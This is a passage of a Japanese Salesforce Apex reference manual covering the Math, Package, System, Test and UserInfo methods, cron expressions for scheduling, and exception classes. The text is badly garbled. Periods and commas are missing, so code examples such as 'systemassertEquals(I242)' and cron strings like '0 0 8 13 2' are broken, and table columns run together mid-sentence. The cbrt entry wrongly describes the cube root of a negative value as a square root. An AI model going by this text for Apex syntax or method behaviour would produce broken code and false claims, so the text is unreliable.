指定された Double の絶対値を返しますDoubleDouble dabs

指定された Integer の絶対値を返します例Integer I = -42 Integer I2 =mathabs(I) systemassertEquals(I242)

IntegerInteger iabs

指定された Long の絶対値を返しますLongLong labs

角の arc コサインを 00 pi の範囲で返しますDecimalDecimal dacos

角の arc コサインを 00 pi の範囲で返しますDoubleDouble dacos

角の arc サインを -pi2 pi2 の範囲で返しますDecimalDecimal dasin

角の arc サインを -pi2 pi2 の範囲で返しますDoubleDouble dasin

角の arc タンジェントを -pi2 pi2 の範囲で返します

DecimalDecimal datan

角の arc タンジェントを -pi2 pi2 の範囲で返します

DoubleDouble datan

直角座標 (xおよび y) を極 (rおよび theta) に変換しますこのメソッドはxyの arc タンジェン

DecimalDecimal x

Decimal y

atan2

参照 Version 180 | Apex システムメソッド | 280

説明戻り値の型引数名前

トを -pi pi の範囲で計算してフェーズ thetaを計算します

直角座標 (xおよび y) を極 (rおよび theta) に変換しますこのメソッドはxyの arc タンジェン

DoubleDouble x

Double y

atan2

トを -pi pi の範囲で計算してフェーズ thetaを計算します

指定された Decimal の立方根を返します負の値の立方根は値の絶対値の平方根の負の数です

DecimalDecimal dcbrt

指定された Double の立方根を返します負の値の立方根は値の絶対値の平方根の負の数です

DoubleDouble dcbrt

最も小さい (負の無限大に最も近い) Decimal を返します引数より小さくはなく数学的整数と等しくなります

DecimalDecimal dceil

最も小さい (負の無限大に最も近い) Double を返します引数より小さくはなく数学的整数と等しくなります

DoubleDouble dceil

dで指定された角の三角関数のコサインを返します

DecimalDecimal dcos

dで指定された角の三角関数のコサインを返します

DoubleDouble dcos

dの双曲線コサインを返しますdの双曲線コサインは(ex + e-x)2 となるよう定義しますここでe はオイラーの数値です

DecimalDecimal dcosh

dの双曲線コサインを返しますdの双曲線コサインは(ex + e-x)2 となるよう定義しますここでe はオイラーの数値です

DoubleDouble dcosh

指定した Decimal の指数まで累乗したオイラーの数値 e を返します

DecimalDecimal dexp

指定した Double の指数まで累乗したオイラーの数値 e を返します

DoubleDouble dexp

最も大きい (正の無限大に最も近い) Decimal を返します引数より大きくはなく数学的整数と等しくなります

DecimalDecimal dfloor

最も大きい (正の無限大に最も近い) Double を返します引数より大きくはなく数学的整数と等しくなります

DoubleDouble dfloor

指定された Decimal の自然対数 (base e) を返します

DecimalDecimal dlog

参照 Version 180 | Apex システムメソッド | 281

説明戻り値の型引数名前

指定された Double の自然対数 (base e) を返しますDoubleDouble dlog

指定された Decimal の対数 (base 10) を返しますDecimalDecimal dlog10

指定された Double の対数 (base 10) を返しますDoubleDouble dlog10

指定された 2 つの Decimal の大きい方を返します例Decimal larger = mathmax(123 1566)systemassertEquals(larger 1566)

DecimalDecimal d1

Decimal d2

max

指定された 2 つの Double の大きい方を返しますDoubleDouble d1

Double d2

max

指定された 2 つの Integer の大きい方を返しますIntegerInteger i1

Integer i2

max

指定された 2 つの Long の大きい方を返しますLongLong l1

Long l2

max

指定された 2 つの Decimal の小さい方を返します例Decimal smaller = mathmin(123 1566)systemassertEquals(smaller 123)

DecimalDecimal d1

Decimal d2

min

指定された 2 つの Double の小さい方を返しますDoubleDouble d1

Double d2

min

指定された 2 つの Integer の小さい方を返しますIntegerInteger i1

Integer i2

min

指定された 2 つの Long の小さい方を返しますLongLong l1

Long l2

min

i2で割った i1の余りを返します例

Integer remainder = mathmod(12 2)systemassertEquals(remainder 0)

IntegerInteger i1

Integer i2

mod

Integer remainder2 = mathmod(8 3)systemassertEquals(remainder2 2)

L2で割った L1の余りを返しますLongLong L1

Long L2

mod

expの指数まで累乗した最初の Double の値を返します

DoubleDouble d

Double exp

pow

00 以上 10 未満の正の Double を返しますDoublerandom

参照 Version 180 | Apex システムメソッド | 282

説明戻り値の型引数名前

dに最も近く数学的整数に等しい値を返しますDecimalDecimal drint

dに最も近く数学的整数に等しい値を返しますDoubleDouble drint

使用しませんここメソッドはWinter 08 リリースの時点で廃止されています代わりに

IntegerDouble dround

roundToLongまたは roundを使用します12 を追加し結果の下限をとりその結果をデータ型Integer に投入して最も近い Integer を指定された Double に返します結果が -2147483648 より小さいまたは 2147483647より大きい場合Apexはエラーを生成します

12 を追加し結果の下限をとりその結果をデータ型 Integer に投入して最も近い Integer を指定された Decimal に返します

IntegerDecimal dround

12 を追加し結果の下限をとりその結果をデータ型 Long に投入して最も近い Long を指定された Decimal に返します

LongDecimal droundToLong

12 を追加し結果の下限をとりその結果をデータ型 Long に投入して最も近い Long を指定された Double に返します

LongDouble droundToLong

指定された Decimal の符号関数を返しますdが0 の場合は 0dが 0 より大きい場合は 10dが0 より小さい場合は -10 となります

DecimalDecimal dsignum

指定された Double の符号関数を返しますdが 0の場合は 0dが 0 より大きい場合は 10dが 0より小さい場合は -10 となります

DoubleDouble dsignum

dで指定された角の三角関数のサインを返しますDecimalDecimal dsin

dで指定された角の三角関数のサインを返しますDoubleDouble dsin

dの双曲線サインを返しますdの双曲線サインは(ex - e-x)2 となるよう定義しますここで e はオイラーの数値です

DecimalDecimal dsinh

dの双曲線サインを返しますdの双曲線サインは(ex - e-x)2 となるよう定義しますここで e はオイラーの数値です

DoubleDouble dsinh

dの適切に丸められた正の平方根を返しますDecimalDecimal dsqrt

dの適切に丸められた正の平方根を返しますDoubleDouble dsqrt

dで指定された角の三角関数のタンジェントを返します

DecimalDecimal dtan

参照 Version 180 | Apex システムメソッド | 283

説明戻り値の型引数名前

dで指定された角の三角関数のタンジェントを返します

DoubleDouble dtan

dの双曲線タンジェントを返しますdの双曲線タンジェントは (ex - e-x)(ex + e-x) となるよう定義し

DecimalDecimal dtanh

ますここでeはオイラーの数値ですつまりsinh(x)cosinh(x)に等しくなります正確なtanhの絶対値は常に 1 より小さくなります

dの双曲線タンジェントを返しますdの双曲線タンジェントは (ex - e-x)(ex + e-x) となるよう定義し

DoubleDouble dtanh

ますここでeはオイラーの数値ですつまりsinh(x)cosinh(x)に等しくなります正確なtanhの絶対値は常に 1 より小さくなります

Package メソッド

パッケージでアップロードされる一連のコンポーネント示す番号ですバージョン番号の形式はmajorNumberminorNumberpatchNumber (例 213) となりますメジャー番号およびマイナー番号はメジャーリリースごとに選択された値に増えますpatchNumberはパッチリリース時のみ生成されますpatchNumber

がない場合0 であるものとしますパッチバージョンは現在パイロットプログラムで使用できます組織のパッチバージョンの有効化に関する詳細はsalesforcecomまでお問い合わせくださいPackage メソッドはパッケージ開発者によって使用され異なるパッケージバージョンの動作をカスタマイズしますこれによりパッケージ開発者はコードをアップグレードしても以前のパッケージバージョンのクラスおよびトリガの既存の動作を継続してサポートできます

Package メソッドは異なるパッケージバージョンを参照する場合クラスが異なる動作ができるようにする特殊オブジェクトによって異なりますこれらのオブジェクトは管理パッケージ内のクラスにのみ使用できますPackageVersionRequest

ApexクラスおよびトリガはApexクラスまたはトリガが参照するインストールされた各パッケージのバージョン設定で保存されますこのコンテキストオブジェクトはクラスまたはトリガで参照されるパッケージバージョンを示します

PackageVersionmajorNumberminorNumber

このオブジェクトはクラスまたはトリガで参照されるパッケージバージョンを示します

たとえばPackageVersion21はバージョン 21 のパッケージを示しますこのオブジェクトをPackageVersionRequestとともに使用してさまざまなパッケージバージョンのさまざまな動作を指定できますこのオブジェクトを使用してできるのは「管理-リリース済み」パッケージバージョンの参照だけですこのオブジェクトを使用して「管理 - ベータ」パッケージバージョンを参照することはできません

メモ 非管理パッケージではPackageVersionRequestオブジェクトは使用できません

参照 Version 180 | Apex システムメソッド | 284

説明戻り値の型

引数名前

パッケージバージョンが引数で指定したパッケージバージョンより大きい場合は trueを返します例

if (PackageVersionRequest ==PackageVersion10) do something else

BooleanパッケージバージョンPackageVersionmajorminor

isGreaterThan

if(PackageVersionRequestisGreaterThan(PackageVersion20)) do something different else if(PackageVersionRequestisGreaterThan(PackageVersion23)) do something completely different

パッケージバージョンが引数で指定したパッケージバージョン以上である場合は trueを返します

BooleanパッケージバージョンPackageVersionmajorminor

isGreaterThanOrEqual

パッケージバージョンが引数で指定したパッケージバージョンより小さい場合は trueを返します

BooleanパッケージバージョンPackageVersionmajorminor

isLessThan

パッケージバージョンが引数で指定したパッケージバージョン以下である場合は trueを返します

BooleanパッケージバージョンPackageVersionmajorminor

isLessThanOrEqual

詳細は「Apex コードの動作のバージョニング (ページ 167)」を参照してください

Search メソッド

次にSearch のシステム静的メソッドを示します

説明戻り値の型引数名前

動的 SOSL クエリを実行時に作成しますこのメソッドは精機の割り当てステートメントや for

sObject[sObject[]]String queryquery

ループなど静的 SOSL クエリが使用できる場合に使用できます

詳細は「動的 SOQL」 (ページ140)を参照してください

System メソッド

次にSystem の静的メソッドを示します

メモ AnyDataTypeはプリミティブオブジェクトレコード配列マップセットまたは特殊な値nullを示す

参照 Version 180 | Apex システムメソッド | 285

説明戻り値の型引数名前

指定したジョブを停止します停止したジョブはジョブキューに表示されますJob_Name

VoidString Job_nameabortJob

はジョブが SystemScheduleメソッドで作成された場合に指定される名前です

メモ このメソッドはSystemScheduleメソッドとだけ使用できます

conditionが真であることを確認します真でない場合実行時の例外がオプションの

VoidBooleancondition

任意のデータ型opt_msg

assert

2 番目の引数opt_msgでメッセージの一部として投げられます

最初の 2 つの引数xと yが同じであることを確認します同じでない場合実行時の例

Void任意のデータ型x

任意のデータ型y

assertEquals

外がオプションの 3 番目の引数opt_msg

でメッセージの一部として投げられます

任意のデータ型opt_msg

最初の 2 つの引数xと yが異なることを確認しますそれらが同じである場合実行時

Void任意のデータ型x

任意のデータ型y

assertNotEquals

の例外がオプションの 3 番目の引数opt_msgでメッセージの一部として投げられます

任意のデータ型opt_msg

現在のページへの参照を返しますVisualforceページで使用します詳細は「PageReferenceクラス (ページ 326)」を参照してください

SystemPageReferencecurrentPageReference

現在の時間をミリ秒で返します (現在の時刻と1970 年 1 月 1 日午前 0 時 (UTC) との差異)

LongcurrentTimeMillis

引数 msgを実行デバッグログに文字列形式で書き込みますログレベルを指定しない場合

Void任意のデータ型msg

debug

DEBUGログレベルが使用されますログレベルが指定されていないまたはログレベルがERRORWARNINFOまたは DEBUGの debug

メソッドがデバッグに書き込まれます

マップまたはセットが印刷されると出力はキー順に並べ替えられ大かっこ ([]) で囲まれます配列またはリストが印刷されると出力は小かっこ (()) で囲まれます

参照 Version 180 | Apex システムメソッド | 286

説明戻り値の型引数名前

メモ Systemdebugへのコールはユニットテストの Apex コードの範囲の一部としてカウントされません

ログレベルの詳細はSalesforcecomオンラインヘルプの「デバッグログ条件の設定」を参照してください

すべての debugメソッドのログレベルを指定します

VoidEnum logLevel

任意のデータ型msg

debug

メモ Systemdebugへのコールはユニットテストの Apex コードの範囲の一部としてカウントされません

有効なログレベルは次のとおりです (低いものから順に並べてあります)

bull ERROR

bull WARN

bull INFO

bull DEBUG

bull FINE

bull FINER

bull FINEST

ログレベルは累積ですたとえば最も低いレベル ERROR が指定されている場合ログレベルが ERROR である debug メソッドのみが記録されます次のレベルWARN が指定されている場合デバッグログには ERRORまたは WARN として指定されている debugメソッドのみが含まれます

次の例では文字列 MsgTxtはデバッグログには書き込まれませんログレベルが ERROR

でdebugメソッドのレベルが INFOであるためです

Systemdebug (LogginglevelERROR)

Systemdebug(LogginglevelINFOMsgTxt)

ログレベルの詳細はSalesforcecomオンラインヘルプの「デバッグログ条件の設定」を参照してください

現在の日付と時刻を GMT のタイムゾーンで返します

Datetimenow

参照 Version 180 | Apex システムメソッド | 287

説明戻り値の型引数名前

作業項目 ID のリストを処理します詳細は「Apex 承認プロセスクラス」 (ページ 361)を参照してください

ListltIdgtListltWorkItemIDsgtWorkItemIDs

String Action

process

String Comments

StringNextApprover

指定されたユーザのパスワードをリセットします新しいパスワードでユーザがログイン

SystemResetPasswordResultID userID

Booleansend_user_email

resetPassword

すると新しいパスワードを入力しセキュリティに関する質問および回答を選択するよう指示が表示されますsend_user_emailにtrue指定するとユーザにパスワードがリセットされたことを通知する電子メールが送信されます新しいパスワードを使用してSalesforcecomにログインするためのリンクが電子メールに記載されていますログイン時に新しいパスワードを入力するよう指示するメッセージを表示しない場合setPassword

を使用します

警告 このメソッドを使用する場合は注意してくださいまたこの機能をエンドユーザに公開しないでください

現在のパッケージバージョンを引数で指定されたパッケージバージョンに変更しますパッ

VoidPackageversionversion

runAs

ケージでアップロードされる一連のコンポーネント示す番号ですバージョン番号の形式は majorNumberminorNumberpatchNumber

(例 213) となりますメジャー番号およびマイナー番号はメジャーリリースごとに選択された値に増えますpatchNumberはパッチリリース時のみ生成されますpatchNumber

がない場合0 であるものとしますパッチバージョンは現在パイロットプログラムで使用できます組織のパッチバージョンの有効化に関する詳細はsalesforcecom までお問い合わせください一連のコンポーネントのほかパッケージバージョンには特定の動作が含まれていますパッケージ開発者はパッケージバージョンメソッド (ページ284)を使用してコードをアップグレードしながら以前のパッケージバージョンのクラスおよびトリ

参照 Version 180 | Apex システムメソッド | 288

説明戻り値の型引数名前

ガの既存の動作をサポートしますApexクラスおよびトリガはApexクラスまたはトリガが参照するインストールされた各パッケージのバージョン設定で保存されます

このメソッドを使用してAppExchangeにアップロードする異なるパッケージバージョンのコンポーネントの動作をテストしますこのメソッドにより異なるパッケージバージョンの動作をテストできるようテストメソッドで PackageVersionRequestオブジェクトを効率的に設定します

runAsはテストメソッドでのみ使用できますトランザクションのこのメソッドに対するコール数の制限はありませんこのメソッドの使用例については「パッケージバージョンの動作のテスト (ページ169)」を参照してください

現在のユーザーを指定されたユーザーに変更します指定されたユーザーの権限とレコー

VoidUser user_varrunAs

ド共有のすべてがrunAsの実行時に強制されますrunAsはテストメソッドでのみ使用できます

メモ runAsメソッドはユーザライセンスの制限を無視します組織に追加ユーザライセンスがない場合でもrunAsで新しいユーザを作成できます

詳細は「runAsメソッドの使用」 (ページ124)を参照してください

メモ ユーザを指定する runAsへのコールは20件のみトランザクションで実行できます

Schedulableインターフェースを実装するApex クラスで scheduleを使用し

StringString JobName

StringCronExpression

schedule

CronExpressionによって指定された時間に実行するようクラスをスケジュールします

Objectschedulable_class クラスをトリガからスケジュールする場合は

細心の注意を払ってくださいトリガは 10 件を超えるスケジュールクラスを追加しないようにする必要があります具体的にはAPIの一括更新インポートウィザードユーザ

参照 Version 180 | Apex システムメソッド | 289

説明戻り値の型引数名前

インターフェースを使用した一括レコードの変更および複数のレコードを一度に更新できるすべてのケースなどです

メモ Salesforcecom ではスケジュールされた時間のキューの処理だけを追加します実際の実行はサービスの使用可能状態に応じて遅れる場合があります

詳細は「Using the SystemScheduleメソッド (ページ 291)の使用」abortJobメソッドを使用してスケジュールされた後にジョブを停止します

指定されたユーザのパスワードを設定しますこのパスワードでユーザがログインすると

VoidID userID

String password

setPassword

新しいパスワードを作成するようメッセージが表示されますリセットプロセスを行い独自のパスワードを作成する場合resetPasswordを空使用します

警告 このメソッドを使用する場合は注意してくださいまたこの機能をエンドユーザに公開しないでください

処理された承認を送信します詳細は「Apex承認プロセスクラス」 (ページ361)を参照してください

ListltIDgtListltWorkItemIDsgtWorkItemIDs

String Comments

submit

StringNextApprover

現在の日付を現在のユーザーのタイムゾーンで返します

Datetoday

システムログレベル

loggingLevel enum を使用してすべての debugメソッドのログレベルを指定します

有効なログレベルは次のとおりです (低いものから順に並べてあります)

bull ERROR

bull WARN

bull INFO

bull DEBUG

bull FINE

bull FINER

参照 Version 180 | Apex システムメソッド | 290

bull FINEST

ログレベルは累積ですたとえば最も低いレベル ERROR が指定されている場合ログレベルが ERROR である debug メソッドのみが記録されます次のレベルWARN が指定されている場合デバッグログには ERRORまたは WARN として指定されている debug メソッドのみが含まれます

次の例では文字列 MsgTxtはデバッグログには書き込まれませんログレベルが ERRORでdebugメソッドのレベルが INFOであるためです

SystemLoggingLevel level = LoggingLevelERROR

Systemdebug(logginglevelINFO MsgTxt)

ログレベルの詳細はSalesforcecom オンラインヘルプの「デバッグログ条件の設定」を参照してください

SystemScheduleメソッドの使用

Schedulableインターフェースでクラスを実装したらSystemScheduleメソッドを使用して実行しますスケジューラはシステムとして稼動しますユーザがクラスを実行する権限を持っているかどうかに関係なくすべてのクラスが実行されます

メモ クラスをトリガからスケジュールする場合は細心の注意を払ってくださいトリガは 10 件を超えるスケジュールクラスを追加しないようにする必要があります具体的にはAPI の一括更新インポートウィザードユーザインターフェースを使用した一括レコードの変更および複数のレコードを一度に更新できるすべてのケースなどです

SystemScheduleメソッドはジョブの名前ジョブの実行予定日時を表すために使用する式クラスの名前という 3 つの引数を取りますこの式の構文は次のとおりです

Seconds Minutes Hours Day_of_month Month Day_of_week optional_year

メモ Salesforcecom ではスケジュールされた時間のキューの処理だけを追加します実際の実行はサービスの使用可能状態に応じて遅れる場合があります

SystemScheduleメソッドではすべてのスケジュールの基準としてユーザのタイムゾーンが使用されます

式の値は次のようになります

特殊文字値名前None0ndash59Seconds

None0ndash59Minutes

- 0ndash23Hours

- L W1ndash31Day_of_month

- 1-12または次のとおりMonth

bull JAN

bull FEB

bull MAR

bull APR

参照 Version 180 | Apex システムメソッド | 291

特殊文字値名前

bull MAY

bull JUN

bull JUL

bull AUG

bull SEP

bull OCT

bull NOV

bull DEC

- L 1-7または次のとおりDay_of_week

bull SUN

bull MON

bull TUE

bull WED

bull THU

bull FRI

bull SAT

- Null または 1970-2099optional_year

特殊文字の定義は次のとおりです

bull は値を区切りますたとえば複数の月を指定する場合は JAN MAR APRを使用しますbull - は範囲を指定しますたとえば複数の月を指定する場合は JAN-MARを使用しますbull はすべての値を指定しますたとえばMonthをと指定するとジョブは毎月にスケジュールされますbull は特定の値を指定しませんこれはDay_of_monthと Day_of_weekのみで使用でき一般にある値以

外を指定しない場合に使用しますbull は増分を指定しますスラッシュの前の数値は期間の開始を指定しスラッシュの後の数値は期間の長さ

を指定しますたとえばDay_of_monthに 15と指定した場合Apex クラスは月の 1 日から始まり5 日おきに実行されます

bull L は範囲の終了を指定しますこれはDay_of_monthと Day_of_weekでのみ使用できますDay of month

で使用するとLは 1 月 31 日うるう年の場合は 2 月 28 日など常に月末日を意味しますDay_of_week

のみで使用すると7または SATを意味しますDay_of_weekの値と一緒に使用するとその月で指定した曜日の最後を意味しますたとえば2Lと指定すると月の最終月曜日を指定することになりますLと一緒に値の範囲は使用しないでください予期しない結果が生じる場合があります

bull W は特定の日に最も近い平日 (月曜日 金曜日) を指定しますこれは Day_of_monthでのみ使用できますたとえば20Wと指定し20 日が土曜日の場合クラスは 19 日に実行されます1Wと指定すると1 日が土曜日の場合クラスはその前の月ではなく次の月曜日である 3 日に実行されます

ヒント 月の最後の平日を指定するにはLと Wを一緒に使用します

bull は weekdayday_of_monthという形式で月の第 nth日目を指定しますこれは Day_of_weekでのみ使用できますの前の数値で平日 (SUN-SAT) を指定しますの後ろの数値で月の日付を指定しますたとえば22と指定するとクラスは毎月第 2 月曜日に実行されることを意味します

参照 Version 180 | Apex システムメソッド | 292

式の使用法の例を次に示します

説明式

クラスは毎日午後 1 時に実行されます0 0 13

クラスは毎月最終金曜日の午後 10 時に実行されます0 0 22 6L

クラスは月曜日から金曜日の午前 10 時に実行されます

0 0 10 MON-FRI

クラスは 2010 年の毎日午後 8 時に実行されます0 0 20 2010

次の例ではクラス proscheduleによって Schedulableインターフェースが実装されますこのクラスは2月 13 日の午前 8 時に実行するようにスケジュールされています

proschedule p = new proschedule() String sch = 0 0 8 13 2 systemschedule(One TimePro sch p)

SystemResetPasswordResult オブジェクト

SystemResetPasswordメソッドによって SystemResetPasswordResult オブジェクトが返されます生成されたパスワードのアクセスに使用できます

次にSystemResetPasswordResult オブジェクトのインスタンスメソッドを示します

説明戻り値引数方法SystemResetPasswordResultオブジェクトをインスタン

StringgetPassword

ス化したSystemResetPassword

メソッドの結果として生成されたパスワードを返します

Test メソッド

次にTest のシステム静的メソッドを示します

説明戻り値の型引数名前

コントローラの現在の PageReference を設定する Visualforce のテストメソッド

VoidPageReference pagesetCurrentPage

コントローラの現在の PageReference を設定する Visualforce のテストメソッド

VoidPageReference pagesetCurrentPageReference

固定された検索結果のリストをテストメソッドで後続するすべての SOSL ス

VoidID[]opt_set_search_results

setFixedSearchResults

テートメントに返されるよう定義しますopt_set_search_resultsが指定さ

参照 Version 180 | Apex システムメソッド | 293

説明戻り値の型引数名前

れていない場合すべての後続する SOSLクエリは結果を返しません

opt_set_search_resultsで指定されたレコード ID のリストはWHERE句またはLIMIT句に指定されていない場合に通常 SOSL クエリで返された結果を置き換えますこれらの句が SOSL クエリにある場合固定された検索結果のリストに適用されます

詳細は「SOSL クエリのユニットテストへの追加」 (ページ 126)

テストが実際に開始される場合にテストコードのポイントをマークしますガバ

VoidstartTest

ナー制限をテストする場合にこのメソッドを使用しますstopTestとともにこのメソッドを使用してアサーションまたはテストを実行する前にstartTestメソッドの後のすべての非同期コールが実行される用にすることができますそれぞれの testMethodはこのメソッドを一度だけコールできますこのメソッドの前のすべてのコードを変数の初期化データ構造の投入などのために使用する必要がありますテスト実行のために必要なすべてを設定できますこのメソッドをコールした後適用される制限は最初の DML ステートメント(INSERTDELETEなど) または最初のWeb サービス呼び出しに基づいています次の例はトリガ制限をテストします

teststarttest() 最初の重要なステートメントは 次の適用されたTrigger コンテキスト制限です -Account s = newAccount(name=test) insert s

次の例は webService制限をテストします

teststarttest() String holder=wsclassexecuteWebService(foo)

参照 Version 180 | Apex システムメソッド | 294

説明戻り値の型引数名前

テストが終了場合にテストコードのポイントをマークしますこのメソッドは

VoidstopTest

startTestメソッドと組み合わせて使用しますそれぞれの testMethodはこのメソッドを一度だけコールできますこのメソッドをコールした後帰結表明が元のコンテキストで行われますstartTestメソッド後に作成されたすべての非同期コールはシステムによって収集されますstopTestを実行する場合すべての非同期プロセスが同期して実行されます

メモ startTestブロックおよびstopTestブロックで呼び出された futureまたは executeBatch

などの非同期コールはキュー内ジョブ数の制限に対してカウントされません

UserInfo メソッド

次にUserInfo のシステム静的メソッドを示します

説明戻り値の型引数名前

組織が複数の通貨を使用する場合コンテキストユーザーのデフォルトの通貨を返します

StringgetDefaultCurrency

コンテキストユーザーの名前を返しますStringgetFirstName

コンテキストユーザーの言語を返しますStringgetLanguage

コンテキストユーザーの姓を返しますStringgetLastName

コンテキストユーザーのロケールを返します例String result =UserInfogetLocale()

StringgetLocale

SystemassertEquals(en_USresult)

コンテキストユーザーの氏名を返します名前の形式は組織に指定された言語設定によっ

StringgetName

て異なります形式は次のいずれかになりますbull FirstName LastName

参照 Version 180 | Apex システムメソッド | 295

説明戻り値の型引数名前

bull LastName FirstName

コンテキスト組織の ID を返しますStringgetOrganizationId

コンテキスト組織の会社名を返しますStringgetOrganizationName

コンテキストユーザーのプロファイル ID を返します

StringgetProfileId

現在のセッションのセッション ID を返します

StringgetSessionId

デフォルトの組織テーマを返しますgetUiThemeDisplayedを使用して現在の

StringgetUiTheme

ユーザに実際に表示されるテーマを決定します

有効な値は次のとおりです

bull Theme1

bull Theme2

bull PortalDefault

bull Webstore

現在のユーザに表示されるテーマを返します

有効な値は次のとおりです

StringgetUiThemeDisplayed

bull Theme1

bull Theme2

bull PortalDefault

bull Webstore

コンテキストユーザーの ID を返しますStringgetUserId

コンテキストユーザーのログイン名を返します

StringgetUserName

コンテキストユーザーのロール ID を返します

StringgetUserRoleId

コンテキストユーザーのタイプを返しますStringgetUserType

コンテキストユーザにnamespaceで示された管理パッケージに対するライセンスがある場

BooleanString namespaceisCurrentUserLicensed

合は trueを返します該当しない場合はfalseを返します

namespaceが無効なパラメータの場合TypeExceptionが返されます

組織が複数の通貨を使用するかどうかを指定します

BooleanisMultiCurrencyOrganization

参照 Version 180 | Apex システムメソッド | 296

例外メソッドの使用すべての例外はエラーメッセージや例外タイプを返す組込みメソッドをサポートしています標準のexception

クラスに加え例外にはさまざまなタイプがあります

説明例外

非同期コールのエンキューの失敗など非同期処理に関するすべての問題の例外

AsyncException

外部システムへのコールの失敗などWeb サービス処理に関するすべての問題の例外

CalloutException

insert文でレコードの必要な項目が欠落している場合などDML 文に関するすべての問題の例外

DmlException

送信の失敗など電子メールに関するすべての問題の例外詳細は「Apex電子メールクラス」 (ページ 300)を参照してください

EmailException

URL に関するすべての問題の例外通常は Visualforce ページで使用しますVisualforce の詳細はwwwsalesforcecomusdeveloperdocspagesindexhtm の『Visualforce Developers Guide』を参照してください

InvalidParameterValueException

範囲外の索引へのアクセスなどリストに関するすべての問題の例外ListException

0 による除算など算術演算に関するすべての問題の例外MathException

現在のユーザがアクセス権を付与されていない sObject へのアクセスなど承認されないアクセスに関するすべての問題の例外通常はVisualforceページで

NoAccessException

使用しますVisualforce の詳細はwwwsalesforcecomusdeveloperdocspagesindexhtm の 『Visualforce DevelopersGuide』を参照してください

削除された sObject へのアクセスなど存在しないデータに関するすべての問題の例外通常は Visualforce ページで使用しますVisualforce の詳細は

NoDataFoundException

wwwsalesforcecomusdeveloperdocspagesindexhtm の 『Visualforce DevelopersGuide』を参照してください

特に Iteratornextメソッドで使用されますリストの終わり以降の項目にアクセスしようとするとこの例外が発生しますたとえばiteratorhasNext()

== falseで iteratornext()をコールすると個の例外が発生します

NoSuchElementException

次のコードでの例などnull 値の逆参照に関するすべての問題の例外String s stoLowerCase() s が null 値であるためNullPointerException が発生します

NullPointerException

単一の sObject 変数に対するレコードを返さないまたは 2 個以上のレコードを返すクエリの割り当てなどSOQL クエリに関するすべての問題の例外

QueryException

たとえばsearchStringパラメータの文字数が 2 文字未満の場合ForcecomWeb サービスの API search()コールで実行された SOSL クエリーの問題

SearchException

詳細はwwwsalesforcecomusdeveloperdocsapiindexhtm の『Forcecom Webservices API Developers Guide』を参照してください

参照 Version 180 | 例外メソッドの使用 | 297

説明例外

Crypto ユーティリティクラスの静的メソッドに関するすべての問題の例外詳細は「Cryptoクラス (ページ 359)」を参照してください

SecurityException

データのシリアル化に関するすべての問題の例外通常はVisualforceページで使用しますVisualforce の詳細は

SerializationException

wwwsalesforcecomusdeveloperdocspagesindexhtm の 『Visualforce DevelopersGuide』を参照してください

insert文でのみ変更可能な項目に対する update文の実行などsObject レコードに関するすべての問題の例外

SObjectException

100000 文字以上の String 型などString 型に関するすべての問題の例外StringException

valueOfメソッドを使用した文字列「a」の Integer 型への変換など型変換に関するすべての問題の例外

TypeException

Visualforce ページに関するすべての問題の例外ですVisualforce の詳細はwwwsalesforcecomusdeveloperdocspagesindexhtm の 『Visualforce DevelopersGuide』を参照してください

VisualforceException

XML の読み取り書き込みの失敗などXmlStream クラスに関するすべての問題の例外詳細は「XmlStream クラス」 (ページ366)を参照してください

XmlException

次にDmlException 例外を使用した例を示します

Account[] accts = new Account[]new Account(billingcity = San Jose) try insert accts catch (SystemDmlException e) for (Integer i = 0 i lt egetNumDml() i++) ここで例

外を処理Systemdebug(egetDmlMessage(i))

共通例外メソッド

例外メソッドは例外のある特定のインスタンスからコールされ処理されます次の表はすべてのインスタンス例外メソッドを示します次のメソッドはすべての例外タイプに共通です

説明戻り値の型引数名前

例外オプジェクトとして例外の原因を返します例外getCause

ユーザに表示されるエラーメッセージを返しますStringgetMessage

DMLExceptionListExceptionMathException などの例外タイプを返します

StringgetTypeName

例外の原因が設定されていない場合設定しますVoidsObject ExceptioninitCause

ユーザに表示されるエラーメッセージを設定します

VoidString ssetMessage

DMLException および EmailException メソッド

共通例外メソッドに加えDMLExceptions および EmailExceptions には次のメソッドもあります

参照 Version 180 | 例外メソッドの使用 | 298

説明戻り値の型引数名前

失敗したi番目の行に示されるエラーの原因となった項目の名前を返します

String[]Integer igetDmlFieldNames

失敗したi番目の行に示されるエラーの原因となった

SchemasObjectField []Integer igetDmlFields

項目の項目トークンを返します項目トークンの詳細は「Dynamic Apex」(ページ134)を参照してください

失敗したi番目の行に示されるエラーの原因となった

StringInteger igetDmlId

レコードの ID を返します

失敗したi番目の行の元の行位置を返します

IntegerInteger igetDmlIndex

失敗したi番目の行のユーザメッセージを返します

StringInteger igetDmlMessage

廃止代わりに getDmlTypeを使用してください失敗

StringInteger igetDmlStatusCode

した i番目の行の Apex 失敗コードを返します

SystemStatusCode の enum値の値を返します例try insert newAccount() catch

SystemStatusCodeInteger igetDmlType

(SystemDmlExceptionex) SystemassertEquals(

StatusCodeREQUIRED_FIELD_MISSINGexgetDmlType(0)

SystemStatusCode についての詳細は「Enum 値」(ページ 38)を参照してください

DML 例外で失敗した行数を返します

IntegergetNumDml

参照 Version 180 | 例外メソッドの使用 | 299

Apex クラス

Apexを使ったクラスを作成可能ですがアプリケーション構築用のシステム提供クラスも使用可能です

bull Apex電子メールクラスbull 例外クラスbull Visualforce クラスbull パターンおよびマッチャークラスbull HTTP (RESTful)サービスクラスbull Apex 承認プロセスクラスbull XmlStreamクラスbull 営業時間クラスbull Apex コミュニティクラスbull サイトクラス

Apex電子メールクラスApex にはSalesforcecom の電子メールの送信受信機能へのアクセスに使用するいくつかのクラスとオブジェクトが含まれます

詳細は以下を参照してください

bull 受信電子メール (ページ 310)bull 送信電子メール (ページ 300)

送信電子メール

個別メール送信または一括メール送信にApexを使用することができます電子メールには件名BCC アドレスなど標準的な電子メールの属性をすべて含めることができますSalesforcecom電子メールテンプレートを使用し平文テキストHTML 形式または Visualforce で生成されたものを使用します

メモ Visualforce 電子メールテンプレートは一括メール送信には使用できません

Salesforcecomを使用し電子メールが送られた日付最初に開かれた日付と最後に開かれた日付開かれた合計回数など HTML 形式のメールのステータスを追跡できます(詳細はSalesforcecomオンラインヘルプの「HTML電子メールの追跡」を参照してください)

個別メール送信または一括メール送信に Apex を使用するには次のクラスを使用しますSingleEmailMessage

単一の電子メールメッセージの送信に使用される電子メールオブジェクトをインスタンス化します構文は次のとおりです

MessagingSingleEmailMessage mail = new MessagingSingleEmailMessage()

参照 Version 180 | Apex クラス | 300

MassEmailMessage

電子メールメッセージの一括メール送信に使用される電子メールオブジェクトをインスタンス化します構文は次のとおりです

